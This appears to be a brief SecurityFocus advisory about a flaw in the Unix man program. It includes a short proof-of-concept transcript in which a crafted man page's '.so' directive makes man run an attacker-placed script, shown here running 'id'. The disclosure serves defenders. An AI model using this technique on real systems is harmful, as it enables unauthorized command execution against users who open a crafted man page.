source: https://www.securityfocus.com/bid/7066/info

It has been reported that the man program does not properly handle some types of input. When a man page is processed that could pose a potential security risk, the program reacts in a way that may open a window of opportunity for an attacker to execute arbitrary commands.

$ cat innocent.1
.so "".1
$ cat '"".1' # the outer '' quotes are for the shell
the user will never see this
$ cat `which unsafe`
#!/bin/sh

echo "oops"
id -a
$ man ./innocent.1
oops
uid=528(lloyd) gid=100(users) groups=100(users)
$